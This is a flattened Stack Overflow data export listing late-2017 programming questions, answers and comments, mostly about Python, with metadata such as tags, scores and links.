has comment: http://stackoverflow.com/comment/81077393

http://stackoverflow.com/comment/96723379
has text: @RDangol I'm facing a similar issue. Did your N-triple have any blank nodes? Did you find any workaround for that?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46955734
type: QuestionComment

http://stackoverflow.com/q/46913344
tagged with: http://stackoverflow.com/tag/pdf
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/46913805
upvote count: 1
has body: I have an application that converts documents(tif, docx, xlsx, etc) to pdf files. After the documents are converted they are exported to other applications (DMS, Kofax, SharePoint, etc). During export sometimes the documents generate an error (file already open by an other application). How can i check the state of an PDF document with python. I ma trying some basic stuff here to see how i can write a test application (python) to check the documents that have generated an error. Below the simple code i test with. But if i open de pdf in a PDF Reader an then run the code the PDF opens without an error. Any advice on this. How can I check if a PDF file is already opened? import PyPDF2 try: pdf = PyPDF2.PdfFileReader(open("test.pdf", "rb")) except PyPDF2.utils.PdfReadError: print("invalid PDF file") else: print("Valid PDF!") print(pdf.getDocumentInfo())
has title: python how to check if a pdf file is open
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/11114492
duplicate of: http://stackoverflow.com/q/11114492
tagged with: python
type: UnansweredQuestion
score: 1

http://stackoverflow.com/q/46914299
type: UnansweredQuestion
tagged with: python
tagged with: apple-push-notifications
tagged with: bluetooth
score: 2
has title: send ios push notifications to a python, raspberry pi 3 with bluetooth
answer count: 0
tagged with: iphone
upvote count: 2
has body: I wanna build a device, which can connect to my phone (iPhone) via Bluetooth and receives the notifications (Text-Message, missed or incoming phone call or game notifications and so on) I found different solutions how to send notifications to my phone but none otherwise around. I looked at APNs and ANCS and thought that would be the solution but it wasn't or I couldn't figure it out how to do it. The program should be able to react depending on which notification came in. Also in delay. For example that I can code that the program gives me all the emails from the last half hour or so. My device is a raspberry 3 with Bluetooth 4.1. Is it possible to do what I would like to, or not? Thanks for your answer
tagged with: ios
downvote count: 0
favorite count: 0
type: Question

http://stackoverflow.com/q/46985091
answer count: 1
tagged with: python-requests
type: Question
accepted answer: http://stackoverflow.com/a/47021465
has answer: http://stackoverflow.com/a/47021465
tagged with: python
has body: I work with API bittrex. I get Bid value for chosen market. This code work pretty well for one market. import requests import time def get_current_Bid(managed_currency, money_currency, session): url = 'https://bittrex.com/api/v1.1/public/getticker' req = requests.Request('GET', url, data={'market': money_currency + '-' + managed_currency}) prepped = session.prepare_request(req) resp = session.send(prepped) try: return float(resp.json()['result']['Bid']) except TypeError: print('Error, try get_current_Bid in 1 sec.') return get_current_Bid(managed_currency, money_currency, session) session = requests.Session() while True: bid1 = get_current_Bid('OMG', 'BTC', session) print(bid1,'OMG-BTC') I get the output: 0.00130001 OMG-BTC 0.00130001 OMG-BTC 0.00130001 OMG-BTC 0.00130001 OMG-BTC 0.00130001 OMG-BTC 0.00130001 OMG-BTC 0.00130001 OMG-BTC OK. It is real current Bid for OMG-BTC. But if I want work with 2 markets or more, I have very strange result. Slightly changed the code to work with two markets. while True: bid1 = get_current_Bid('OMG', 'BTC', session) print(bid1,'OMG-BTC') bid2 = get_current_Bid('BTC', 'USDT', session) print(bid2, 'BTC-USDT') And I have this output: 0.00127796 OMG-BTC 0.00127796 BTC-USDT 0.00127796 OMG-BTC 5800.00000001 BTC-USDT 5800.00000001 OMG-BTC 5800.00000001 BTC-USDT 5800.00000001 OMG-BTC 5800.00000001 BTC-USDT As you can see 0.00127796 is prise for OMG-BTC, not for BTC-USDT And 5800.00000001 is prise for BTC-USDT, not for OMG-BTC But in output this prises as if they intersect. Sometimes the price of another currency is given for one currency. Can someone tell me what I'm doing wrong?
type: AnsweredQuestion
has title: Python bittrex several markets
score: 0

http://stackoverflow.com/comment/80910994
has text: Ah I was using both then I guess - which I know is a big no no - I thought I could create the frames with `pack` and then fill in the the frame using `grid`. Is there a way I can create the frames with grid (if that's what you'd recommend?)
comment on: http://stackoverflow.com/q/46981712
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80831413
type: Comment
has text: @ShadowRanger aaaaaah, I see now! thanks, I was just editing when you finish the edit, thanks so much, I tryed here https://repl.it/NO6k/0
type: AnswerComment
comment on: http://stackoverflow.com/a/46941649
score: 0

http://stackoverflow.com/q/46945550
has comment: http://stackoverflow.com/comment/80838409
tagged with: python-3.6
has comment: http://stackoverflow.com/comment/80838291
has comment: http://stackoverflow.com/comment/80838914
has comment: http://stackoverflow.com/comment/80838306
type: AnsweredQuestion
answer count: 3
possible better answer: http://stackoverflow.com/a/46966704
has comment: http://stackoverflow.com/comment/80838744
has body: I use Python 3.6.3 and visual studio code x=[],y=[]'a=[],d+[],i=0 a = ['Al', 'red', '1', '1', 'blue', 'green','', '65', \ 'Bill', 'yellow', '1', '2', 'blue', 'red','', '55', \ 'Alice', 'pink', '1', '3', 'blue', 'green','', '66', \ 'Fred', 'pink', '1', '4', 'orange', 'puce','', '65] for p in range(1,5): x=[a[2+i]] y=[a[3+i]] d(x,y)=a[0:8] # variables x and y on left of = sign. i=i+8 print(d('1','2')) print(d('1','3')[0]) # want to get the following 'Bill', 'yellow', '1', '2', 'blue', 'red','', '55' 'Alice' My question is: In Python, can variables be used on the left side of the = sign? What data structure or what else would do it? It worked in BASIC. Why would I want to do this? Imagine I have 1000 groups instead of just these 4. When I get answers, how do I acknowledge and approve or whatever I need to do. I haven't found a guide yet.
has answer: http://stackoverflow.com/a/46966704
has comment: http://stackoverflow.com/comment/80838487
has comment: http://stackoverflow.com/comment/80838362
has comment: http://stackoverflow.com/comment/80838763
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47087391
has comment: http://stackoverflow.com/comment/80863461
accepted answer: http://stackoverflow.com/a/46945918
downvote count: 2
linked to: http://stackoverflow.com/q/1373164
has answer: http://stackoverflow.com/a/46945918
upvote count: 1
tagged with: python
tagged with: variables
score: -1
has title: In Python, can variables be used on the left side of the = sign?
has comment: http://stackoverflow.com/comment/80839019
tagged with: data-structures

http://stackoverflow.com/comment/80983923
type: QuestionComment
comment on: http://stackoverflow.com/q/46978449
score: 0
has text: I will find an example without using `mpl_toolkits` and see if i can rework the code. I will report back, thanks for the advice.
type: Comment

http://stackoverflow.com/comment/80951405
comment on: http://stackoverflow.com/a/46999477
type: Comment
has text: Thanks! Is it possible to keep the date in its original format i.e. (mmddyear)? the dtype datetime 64 won't let me keep the original format
score: 0
type: AnswerComment

http://stackoverflow.com/q/47039626
tagged with: django
upvote count: 1
tagged with: python
downvote count: 1
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81026045
accepted answer: http://stackoverflow.com/a/47039952
favorite count: 0
has answer: http://stackoverflow.com/a/47039952
type: Question
has title: Django: creating an empty file in views.py
has body: I want to create a new file with the same name as the object I am creating. I want to create a new "structure object" with the name str in the database and at the same time a new file called str in the designated uploading folder. When I do that I get an AttributeError of 'file' object has no attribute '_committed' Here are my codes: views.py: def create(request): print request.POST filename = request.POST['name'] f = open(filename, "w") structure = Structure(name=request.POST['name'], file=f) structure.save() return redirect('/structures') models.py: class Structure(models.Model): name = models.CharField(max_length=120) file = models.FileField(upload_to='structures') created_at = models.DateTimeField(auto_now_add = True) updated_at = models.DateTimeField(auto_now = True) def __str__(self): return self.name urls.py: url(r'^create$', views.create), template: Créer une nouvelle structure {% csrf_token %} Nom de la structure Créer The code was working just fine until I added the file creating lines in the views.py And this is a screenshot of the error I am getting: Environment: Request Method: POST Request URL: http://localhost:8000/create Django Version: 1.8 Python Version: 2.7.13 Installed Applications: ('apps.structure', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles') Installed Middleware: ('django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware') Traceback: File "/home/kaiss/.local/lib/python2.7/site-packages/django/core/handlers/base.py" in get_response 132. response = wrapped_callba…
answer count: 1

http://stackoverflow.com/comment/80819007
comment on: http://stackoverflow.com/q/46920862
score: 0
has text: @jonatan I fixed it by changing interpreter in Pycharm and uninstalling Anaconda.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/83004272
score: 0
has text: @SPSP - I finally got a new computer, and the sound issue with kivy has been resolved, so I'm happy to accept your answer. Sorry for the delay, and thanks again!
type: AnswerComment
comment on: http://stackoverflow.com/a/46922170
type: Comment

http://stackoverflow.com/comment/81020950
type: Comment
score: 0
has text: What is the output of `python3 -c 'import sys; print(sys.path)'` and `sudo python3 -c 'import sys; print(sys.path)'`?
type: QuestionComment
comment on: http://stackoverflow.com/q/47037146

http://stackoverflow.com/comment/80930160
has text: @GhostlyMartijn Hi, How to upgrade `requests` ?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46991783

http://stackoverflow.com/q/47014224
has comment: http://stackoverflow.com/comment/80975342
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80974860
answer count: 1
has comment: http://stackoverflow.com/comment/80982710
linked to: http://stackoverflow.com/q/22889283
has comment: http://stackoverflow.com/comment/80975482
has comment: http://stackoverflow.com/comment/80992102
has comment: http://stackoverflow.com/comment/80975576
type: Question
has title: Network Byte Order for sin_family
tagged with: network-programming
has comment: http://stackoverflow.com/comment/80974850
has answer: http://stackoverflow.com/a/47168966
has comment: http://stackoverflow.com/comment/80975075
tagged with: python
tagged with: http://stackoverflow.com/tag/c
tagged with: endianness
linked to: http://stackoverflow.com/q/15526598
has comment: http://stackoverflow.com/comment/80975260
linked to: http://stackoverflow.com/q/44274977
score: 0
has comment: http://stackoverflow.com/comment/80974927
has comment: http://stackoverflow.com/comment/80986672
has body: I'm sending a UDP message from python on an Ubuntu box to a C program on a vxworks machine. The Endianness on the vxworks machine does not match Network Byte Order, so I'm forced to swap byte order around using ntohs, ntohl, etc. I'm reading from the UDP connection and then attempting to determine the "family" so I know if I should decode things are IPV4 or IPV6. I'd like to do something like this... but it doesn't work. struct sockaddr data = {}; char udp_ip[INET6_ADDRSTRLEN] = {0}; // ... (recvfrom ...) if (AF_INET == data.sa_family) { struct sockaddr_in*s = (struct sockaddr_in *)&amp;data; const char *addr = inet_ntop(AF_INET, &amp;s-&gt;sin_addr, udp_ip, sizeof(udp_ip)); udp_port = ntohs(s-&gt;sin_port); ... } if (AF_INET6 == data.sa_family) { struct sockaddr_in6 *s = (struct sockaddr_in *)&amp;data; const char *addr = inet_ntop(AF_INET6, &amp;s-&gt;sin6_addr, udp_ip, sizeof(udp_ip)); udp_port = ntohs(s-&gt;sin6_port); ... } I'm used to seeing the port, and similar fields swapped, but I found that the family is a multi-byte field. I found that code doesn't work because my sa_family value is way out of range. In my headers for this machine, the largest AF_* value is 40. I'm seeing a value over 500. I looks like the bytes on sa_family are swapped and I need to swap their byte order as well. Something like : const sa_family_t family = ntohs(data.sa_family); Then I would use that family variable in the if checks. QUESTION : Is this reasonable? I've never seen ntoh* done on the family before. I'm surprised it is multi byte (sizeof(data.sa_family) == 2). I don't think my python code is relevant, but for completeness.. udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.bind(('', 0)) data = self.create_data() udp_sock.sendto(data, (ip, port)) The data sent is sort of irrelevant as I'm stuck before I even get to parse the data and the problem presents itself if the data is as simple as "FOO". Other Articles I've checked : what kind of fields in network …
has comment: http://stackoverflow.com/comment/80975208

http://stackoverflow.com/q/46938718
upvote count: 1
has body: I've written an extension in C++ for Python, and I'm currently debugging it. The extension takes 3 numpy matrices and produces 2 as a result. To the inner C++ function that does the actualy calculation I pass 3 float C arrays (just flattened and converted from input numpy arrays), and return a C float array of arrays. Everything works as intended but ONLY if I print this output array of arrays before returning it. What the hell is going on in here? float** gradient(float* inputs, float* kernels, float* grads, npy_intp* input_dims, npy_intp* kernels_dims, npy_intp* output_dims){ float* g_inputs = new float[batch*h*w*ch_in]; for (int i = 0; i &lt; batch*h*w*ch_in; i++) g_inputs[i] = 0; float* g_kernels = new float[size*ch_out]; for (int i = 0; i &lt; size*ch_out; i++) g_kernels[i] = 0; float* ret[2] = {{g_inputs}, {g_kernels}}; std::cout&lt;&lt;ret&lt;&lt;std::endl; //&lt;---without this it doesn't work return ret; } I've omitted irrelevant code for clarity.
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80824630
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/46938825
tagged with: c++
tagged with: numpy
has title: C program memory violation dependant on std::cout (?)
answer count: 1
tagged with: arrays
downvote count: 0
score: 1

http://stackoverflow.com/q/46955841
tagged with: heap
has title: Removing an arbitrary element from a priority queue
has comment: http://stackoverflow.com/comment/80868204
has answer: http://stackoverflow.com/a/46962068
type: Question
tagged with: priority-queue
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80869842
answer count: 1
tagged with: python
has body: I am working on the following- "For this task, you will be implementing an EditablePatientHeapQueue, which enables arbitrary patient deletion (by name) in O(log n) time using a new remove method. As with most efficiency improvements, we have traded space for time: we will store the index of every patient in a Python dictionary self.indices, keyed by their name. This way, finding a patient is O(1) time, so the dominant operation is the subsequent sifting of the replacement. The wrinkle in the plan is that we need to keep track of where a patient is stored, even when sifting. For this reason, you should provide a new version of the enqueue, dequeue, and _swap methods which take the new self.indices dictionary into account." My implementation class EditablePatientHeapQueue(PatientHeapQueue): """ Implement a queue structure using a 0-indexed heap. This particular type of queue holds patient information. Additionally, we can remove patients not at the top of the heap in O(log n) time. """ def __init__(self, start_data=None, fast=False): self.indices = {} # name -&gt; index; # Keep track of where patients are stored for (i, person) in enumerate(start_data): self.indices[person.name] = i super().__init__(start_data, fast) def _swap(self, i, j): """ Swap patients at index i and j. Don't forget to change their position in self.indices as well! """ self.indices[self.data[i].name] = j self.indices[self.data[j].name] = i self.data[i], self.data[j] = self.data[j], self.data[i] def remove(self, patient_name): """ Remove the particular patient from the heap. Remember, the index will tell you where the patient is in the heap and every sub-heap below an index forms a valid heap. """ #Dictionary self.indices- key (patient name) : value (index) #Heap self.data- patient name, priority #Step 1: Find the patient in O(1) time and remove from the heap and dictionary #Retrieve the index for the patient name in O(1) time patient_index = self.indices[patient_name] end = len(self.data)-1 #Swap…
score: 0

http://stackoverflow.com/comment/80914164
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46982810
type: QuestionComment
has text: Quick nitpick: You've kept your dicts in a dictionary. So, putting a suffix over them in order isn't possible...

http://stackoverflow.com/comment/81037749
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47044854
type: Comment
has text: Are you sure that you have installed postgresql 9.6? The error message suggests that you have installed 10.0. You should try installing the latest release - 2.6.2 was released over a year ago, long before 10.0 was released.

http://stackoverflow.com/q/47008706
upvote count: 1
tagged with: python
downvote count: 1
favorite count: 0
duplicate of: http://stackoverflow.com/q/18777873
has comment: http://stackoverflow.com/comment/80972610
score: 0
has comment: http://stackoverflow.com/comment/80963965
type: Question
has title: Image processing and for loops
answer count: 0
linked to: http://stackoverflow.com/q/18777873
type: UnansweredQuestion
has body: How do I solve this, this is what I have done thus far. I am not a good programmer and don't understand this well. This is for an assignment. Edit your gray scale function The parameter is an image object This function makes a gray scale image from the given image. Add a docstring to describe the function and its parameter Write instructions similar to those in your negative function. Within the body of the inner loop, call the median function (from myfunctions) with the red, green, and blue intensities of the current pixel to determine the intensities of the new pixel code from myfunctions.py def median(a1,a2,a3): ''''sorts and returns which value is median of a set''' if a1 &gt; a2 and a1 &lt; a3: return a1 elif a2 &gt; a1 and a2 &lt; a3: return a2 elif a2 &gt; a3 and a2 &lt; a1: return a2 elif a3 &gt; a2 and a3 &lt; a1: return a3 else: if a3 &gt; a1 and a3 &lt; a2: return a3 what i written thus far def grayImage(g): '''this will produce a gray scale image from given image g''' import myfunctions newname = image.EmptyImage(g.getWidth(), g.getHeight()) for row in range(g.getHeight()): for col in range(g.getWidth()): newimage = g.getPixel(col, row) x = myfunctions.median(newimage.getred(), newimage.getGreen(), newimage.getBlue()) newred = 255 - newimage.getRed() newgreen = 255 - newimage.getGreen() newblue = 255 - newimage.getBlue() newpixel = image.Pixel(newred, newgreen, newblue) newname.setPixel(col, row, newpixel) return newname
has comment: http://stackoverflow.com/comment/80963971

http://stackoverflow.com/comment/80921013
type: AnswerComment
comment on: http://stackoverflow.com/a/46982702
has text: This sounds right, but I keep getting 17181872 in response for an value I put inside gmtime(byref(c_int64()))
type: Comment
score: 0

http://stackoverflow.com/q/47007844
tagged with: ibm-cloud
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47040867
answer count: 1
tagged with: python
has body: I am trying to deploy a Python application for Image recognition which uses tesseract, tesserocr with leptonica. But I get the following error while deploying it on Bluemix. Complete output from command /app/.heroku/python/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-0jQxGj/tesserocr/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-yIT1DQ-record/install-record.txt --single-version-externally-managed --compile: pkg-config failed to find tesseract/lept libraries: Package tesseract was not found in the pkg-config search path. Perhaps you should add the directory containing `tesseract.pc' No package 'tesseract' found to the PKG_CONFIG_PATH environment variable Failed to extract tesseract version from executable: [Errno 2] No such file or directory Supporting tesseract v3.04.00 Building with configs: {'libraries': ['tesseract', 'lept'], 'cython_compile_time_env': {'TESSERACT_VERSION': 197632}} running install running build running build_ext building 'tesserocr' extension creating build creating build/temp.linux-x86_64-2.7 gcc -pthread -fno-strict-aliasing -g -O2 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -I/app/.heroku/python/include/python2.7 -c tesserocr.cpp -o build/temp.linux-x86_64-2.7/tesserocr.o cc1plus: warning: command line option ‘-Wstrict-prototypes’ is valid for C/ObjC but not for C++ [enabled by default] tesserocr.cpp:555:34: fatal error: leptonica/allheaders.h: No such file or directory #include "leptonica/allheaders.h" ^ compilation terminated. error: command 'gcc' failed with exit status 1
tagged with: tesseract
has comment: http://stackoverflow.com/comment/81025411
tagged with: leptonica
has comment: http://stackoverflow.com/comment/81008264
type: Question
has title: tesseract / tesserocr / leptonica packages fails in Python application while deploying on Bluemix
score: 0

http://stackoverflow.com/comment/80813240
type: Comment
comment on: http://stackoverflow.com/a/46932960
has text: I have updated the question to have the SystemLog module in it. I have just gotten this code from our old programmer so I have no idea what he did.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80936314
has text: Interesting, that was my hunch. Thanks for the tip. By doing the filter myself, are you suggesting just manually iterating over a group of retrieved posts for the terms I'm looking for? To me this seemed sort of server-unfriendly, as it would require retrieving (in my use case) hundreds of posts in order to find a single right one. Either way I'll look into using the Rest API.
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/46994616

http://stackoverflow.com/comment/81066333
score: 0
has text: @conrad 2017-11-01 11:15:25,101: [2017-11-01 11:15:25,093] ERROR in app: Exception on / [GET] 2017-11-01 11:15:25,107: Traceback (most recent call last): 2017-11-01 11:15:25,111: raise TemplateNotFound(template) 2017-11-01 11:15:25,111: jinja2.exceptions.TemplateNotFound: index.html 2017-11-01 11:15:27,765: [2017-11-01 11:15:27,763] ERROR in app: Exception on / [GET]
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47045597

http://stackoverflow.com/comment/81123767
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47047192
type: Comment
has text: Thank you for pointing me in the right direction. I was not aware of the forward and reverse relation lookup.

http://stackoverflow.com/comment/80890704
has text: I think there is some problem with data, if not confidental can you send me real data to my email in my profile?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46970657
type: Comment

http://stackoverflow.com/comment/80926409
type: Comment
has text: @Divakar Performance wise I don't think anything can beat this but I'd be interested to know if at all it is possible. And yes, `v` is always initialised to 0 in my case.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46989880

http://stackoverflow.com/q/46977868
upvote count: 2
answer count: 1
downvote count: 0
tagged with: tensorflow
favorite count: 0
type: Question
tagged with: python-3.x
has body: My goal is to continuously classify .jpg images coming from a video stream. To do so I have just modified the label_image.py example. I'm loading the graph and opening the sessions beforehand. Then I'm only running the following code in a loop : t = read_tensor_from_image_file(file_name, input_height=input_height, input_width=input_width, input_mean=input_mean, input_std=input_std) input_operation = graph.get_operation_by_name(input_name); output_operation = graph.get_operation_by_name(output_name); results = sess2.run(output_operation.outputs[0], {input_operation.outputs[0]: t} ) results = np.squeeze(results) top_k = results.argsort()[-5:][::-1] labels = load_labels(label_file) It works well for a few minutes but the problem is that every cycle the classification slows down progressively. It goes from half a second to a few seconds in one minute. My memory usage is also going up slowly, about a 1 MB increase every 3 seconds. If I classify a single image multiple times, leaving out the "read_tensor_from_image_file", I don't get this bug. So something in the image loading code must be taking up more space every time, not clearing up properly : def read_tensor_from_image_file(file_name, input_height=192, input_width=192, input_mean=0, input_std=255): input_name = "file_reader" output_name = "normalized" file_reader = tf.read_file(file_name, input_name) if file_name.endswith(".png"): image_reader = tf.image.decode_png(file_reader, channels = 3, name='png_reader') elif file_name.endswith(".gif"): image_reader = tf.squeeze(tf.image.decode_gif(file_reader, name='gif_reader')) elif file_name.endswith(".bmp"): image_reader = tf.image.decode_bmp(file_reader, name='bmp_reader') else: image_reader = tf.image.decode_jpeg(file_reader, channels = 3, name='jpeg_reader') float_caster = tf.cast(image_reader, tf.float32) dims_expander = tf.expand_dims(float_caster, 0); resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width]) normalized = tf.divide(tf.subtract(re…
tagged with: python
accepted answer: http://stackoverflow.com/a/46994797
has title: Running label_image.py in a loop
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46994797

http://stackoverflow.com/q/46998427
tagged with: oauth
type: UnansweredQuestion
has body: I am having trouble accessing the twitter api. It give 400 Bad request. Previously it was giving unauthorized exception. Can someone please help me figure out what am I doing wrong? I am writing this code for image upload. I thought I would first try with regular post method then would add file upload but stuck at Bad request import oauth2 as oauth import json import urllib import urllib2 from collections import namedtuple import time from hashlib import sha1 import hmac import uuid import base64 AUTHENTICATION="https://api.twitter.com/oauth2/token" REQUEST_TOKEN="https://api.twitter.com/oauth/request_token" AUTHORIZE_URL="https://api.twitter.com/oauth/authorize" ACCESS_TOKEN_URL="https://api.twitter.com/oauth/access_token" CONSUMER_KEY="" CONSUMER_SECRET="" ACCESS_KEY="" ACCESS_SECRET="" OAuth_Basic=namedtuple("OAuth_Basic", "oauth_consumer_key oauth_signature_method oauth_version") baseString=namedtuple("baseString", "timeStamp string nonce status") SendRequest=namedtuple("SendRequest", "method url timestamp upload") def basestring(oauth, access_key, body=None): timestamp = str(int(time.time())) nonce= base64.b64encode(str(uuid.uuid4().hex)) basestring=percentencode("oauth_consumer_key") + "=" + percentencode(oauth.oauth_consumer_key) + "&amp;" basestring+=percentencode("oauth_nonce") + "=" + percentencode(nonce) + "&amp;" basestring+=percentencode("oauth_signature_method") + "=" + percentencode(oauth.oauth_signature_method) + "&amp;" basestring+=percentencode("oauth_timestamp") + "=" + percentencode(timestamp) + "&amp;" basestring+=percentencode("oauth_token") + "=" + percentencode(access_key) + "&amp;" basestring+=percentencode("oauth_version") + "=" + percentencode(oauth.oauth_version) if body: basestring+="&amp;" + percentencode("status") + "=" + percentencode(body) return baseString(timeStamp=timestamp, string=basestring, nonce=nonce, status=body) def sign_request(signature, consumer_secret, access_secret): key = consumer_secret + "&amp;" + access_secret hash…
tagged with: python
has comment: http://stackoverflow.com/comment/80944943
has comment: http://stackoverflow.com/comment/80943625
has comment: http://stackoverflow.com/comment/80944057
score: 0
has title: I am having trouble with twitter api, it returns 400 bad request
has answer: http://stackoverflow.com/a/47151512
answer count: 1
tagged with: twitter
type: Question

http://stackoverflow.com/a/47002229
type: Answer
accepted answer of: http://stackoverflow.com/q/47001172
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47001172
has body: You can use $and combined with $or like this: db.transactions.find({ "$and": [ {"trade_currency" : currency}, {"$or": [{"base_currency": {$exists: false}}, {"base_currency":base_currency }]}, ] }) If you want to check that field is missing you have to use $exists: false

http://stackoverflow.com/q/47023467
has answer: http://stackoverflow.com/a/47024043
has comment: http://stackoverflow.com/comment/80994165
has comment: http://stackoverflow.com/comment/80993993
has answer: http://stackoverflow.com/a/47023792
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80994030
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80994048
has comment: http://stackoverflow.com/comment/80994014
accepted answer: http://stackoverflow.com/a/47025163
answer count: 3
score: 1
has answer: http://stackoverflow.com/a/47025163
downvote count: 0
has body: I'm making a battleships game, and this piece of code checks how many boats are remaining. I just know it can be done easier with for loops but for some reason cant wrap my head around it. This is the code: #empty Dictonary. This Dict will store the coords of the ship boatDict = {'destroyer1': [], 'destroyer2': [], 'submarine1': [], 'submarine2': [], 'battleship': [], 'carrier': []} if boatDict['destroyer1'] == []: destroyer = 2 elif boatDict['destroyer1'] != []: destroyer = 1 elif boatDict['destroyer2'] != []: destroyer = 0 if boatDict['submarine1'] == []: submarine = 2 elif boatDict['submarine1'] != []: submarine = 1 elif boatDict['submarine2'] != []: submarine = 0 if boatDict['battleship'] == []: battleship = 1 elif boatDict['battleship'] != []: battleship = 0 if boatDict['carrier'] == []: carrier = 1 elif boatDict['carrier'] != []: carrier = 0 Thanks in advance! EDIT: Made the question and code clearer
possible better answer: http://stackoverflow.com/a/47024043
has title: Easier way to write this chain of if statements?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80994267

http://stackoverflow.com/a/47041735
has body: Using @ctwheels regex: text = "Weekly Comparison, Week 50 October 28 - November 3, 2016 October 30 - November 5, 2015" import re result = [(date.split(",")[1].strip(), date) for date in re.findall(r'\w+\s+\d+,\s*\d+', text)] print(result) # [('2016', 'November 3, 2016'), ('2015', 'November 5, 2015')]
answers question: http://stackoverflow.com/q/47041553
type: Answer
score: 0

http://stackoverflow.com/q/46917131
has title: Regex unicode and accent
has comment: http://stackoverflow.com/comment/80781757
has comment: http://stackoverflow.com/comment/80781711
linked to: http://stackoverflow.com/q/6878849
has body: Why (^|\b)на́($|\b) doesn't match віч на́ віч? re.sub(r'(^|\b)на́($|\b)', 'на', 'віч на́ віч', flags=re.UNICODE) is giving 'віч на́ віч', while I want віч на віч.
has comment: http://stackoverflow.com/comment/80787344
duplicate of: http://stackoverflow.com/q/11874234
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/80781574
has comment: http://stackoverflow.com/comment/80782253
type: Question
linked to: http://stackoverflow.com/q/11874234
linked to: http://stackoverflow.com/q/4295591
linked to: http://stackoverflow.com/q/19375666
linked to: http://stackoverflow.com/q/1324676
upvote count: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80781694
has comment: http://stackoverflow.com/comment/80787999
has comment: http://stackoverflow.com/comment/80781941
has comment: http://stackoverflow.com/comment/80781668
has comment: http://stackoverflow.com/comment/80782468
answer count: 1
linked to: http://stackoverflow.com/q/10590098
has comment: http://stackoverflow.com/comment/80782111
has comment: http://stackoverflow.com/comment/80781772
downvote count: 1
has comment: http://stackoverflow.com/comment/80782006
favorite count: 0
has answer: http://stackoverflow.com/a/46917216
has comment: http://stackoverflow.com/comment/80781712
score: 2
has comment: http://stackoverflow.com/comment/80781674

http://stackoverflow.com/q/46915245
score: 0
has answer: http://stackoverflow.com/a/46915428
tagged with: while-loop
possible better answer: http://stackoverflow.com/a/46915507
has answer: http://stackoverflow.com/a/46915787
has answer: http://stackoverflow.com/a/46915507
answer count: 7
has body: I'm having a bit of an issue with a while/if statement. I have a list of values, normally these values will be strings, but sometimes it can return None. Here are two of my attempts: x = ['One','Two','Three',None,None] New = [] count=0 for y in x: while isinstance(y,str): New.append(y) count+=1 break else: count+=1 New.append('New - '+str(count)) print New,count &gt;&gt;&gt; The list repeats several times New = [] for y in x: count=0 if y is not None: New.append(y) count+=1 else: count+=1 New.append('New - '+str(count)) &gt;&gt;&gt;['One','Two','Three','New - 1','New - 1'] I would like the output to be: ['One','Two','Three', 'New - 4', 'New - 5'], and to keep the ordering of the list if the None value was somewhere in the middle. I'm not sure where I'm going wrong, neither of them are far off. Sorry if this is quite simple i'm still learning. I've looked around this forum for a similar query, some have helped but i still can;t figure it out.
type: Question
accepted answer: http://stackoverflow.com/a/46915458
has comment: http://stackoverflow.com/comment/80777905
has answer: http://stackoverflow.com/a/46915375
has answer: http://stackoverflow.com/a/46915743
has answer: http://stackoverflow.com/a/46915458
has title: Python: While, if, else counting
tagged with: python
has answer: http://stackoverflow.com/a/46915514
has comment: http://stackoverflow.com/comment/80783076
has comment: http://stackoverflow.com/comment/80777982
type: AnsweredQuestion

rest
tags question: http://stackoverflow.com/q/46946628
tags question: http://stackoverflow.com/q/47048448
tags question: http://stackoverflow.com/q/46944445
type: Tag
tags question: http://stackoverflow.com/q/47061803
tags question: http://stackoverflow.com/q/47005585
tag name: rest
tags question: http://stackoverflow.com/q/46923358

http://stackoverflow.com/q/46919861
has comment: http://stackoverflow.com/comment/80787418
tagged with: python
has comment: http://stackoverflow.com/comment/80787514
has answer: http://stackoverflow.com/a/46926997
has body: For example, l = [1, -9, 2, 5, 9, 16, 11, 0, 21] and if the range is 10 (10 meaning any numbers higher than 10 wont be considered as the max), I want the code to return 9.
downvote count: 0
upvote count: 1
has title: Is there a way to find a max value between a range?
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46926463
